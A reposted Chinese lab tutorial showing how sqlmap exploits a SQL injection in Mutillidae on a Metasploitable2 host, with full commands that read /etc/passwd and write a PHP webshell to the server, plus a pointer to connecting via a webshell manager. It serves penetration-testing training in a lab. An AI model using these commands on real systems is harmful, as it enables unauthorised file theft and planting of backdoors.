sqlmap写入一句话木马

admin 2022年5月5日02:08:53评论236 views字数 1406阅读4分41秒阅读模式


工具

靶机——metasploitable2

攻击机——kali

环境——Mutillidae

菜刀——蚁剑


主要参数

sqlmap参数: --file-read=RFILE   Read a file from the back-end DBMS file system         从后端的数据库管理系统文件系统读取文件    --file-write=WFILE  Write a local file on the back-end DBMS file system    编辑后端的数据库管理系统文件系统上的本地文件  --file-dest=DFILE   Back-end DBMS absolute filepath to write to            后端的数据库管理系统写入文件的绝对路径


实现

1、打开 Mutillidae 里 User Info 测试模块


sqlmap写入一句话木马


2、手工注入发现漏洞

具体参考:SQL手工注入原理一 、 手SQL工注入原理二


http://192.168.47.133/mutillidae/index.php?page=user-info.php&username=a%27f%27v&password=afv&user-info-php-submit-button=View+Account+Details发现 username 存在注入漏洞


3、使用 sqlmap 自动注入工具


读:

读: --file-read="/etc/passwd"sqlmap -u "http://192.168.47.133/mutillidae/index.php?page=user-info.php&username=a%27f%27v&password=afv&user-info-php-submit-button=View+Account+Details" -p username  --file-read="/etc/passwd"
读取的内容保存在 /root/.sqlmap/output/192.168.47.133 这目录下

sqlmap写入一句话木马


 写:(要写的文件,必须在kali本机里有)写入到 /tmp 目录下 
--file-write="shell.php" --file-dest="/tmp/shell.php" sqlmap -u "http://192.168.47.133/mutillidae/index.php?page=user-info.php&username=a%27f%27v&password=afv&user-info-php-submit-button=View+Account+Details" -p 'username' --file-write="shell.php" --file-dest="/tmp/shell.php"


尝试写入 /var/www 目录下 发现失败 (权限问题)


sqlmap写入一句话木马

sqlmap写入一句话木马

这时,需要利用到 DVWA里文件包含漏洞了

在介绍SQL手工注入 (load_file/out file)有详细介绍如何包含本地文件,以及菜刀的连接。

请参考-SQL注入一句话木马(load_file/out file)

https://blog.csdn.net/qq_42342141/article/details/103253124

————————————————

作者:初学者L_言

原文链接:https://blog.csdn.net/qq_42342141/article/details/103262571


原文始发于微信公众号(Hacking黑白红):sqlmap写入一句话木马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月5日02:08:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   sqlmap写入一句话木马http://cn-sec.com/archives/973821.html

发表评论

匿名网友 填写信息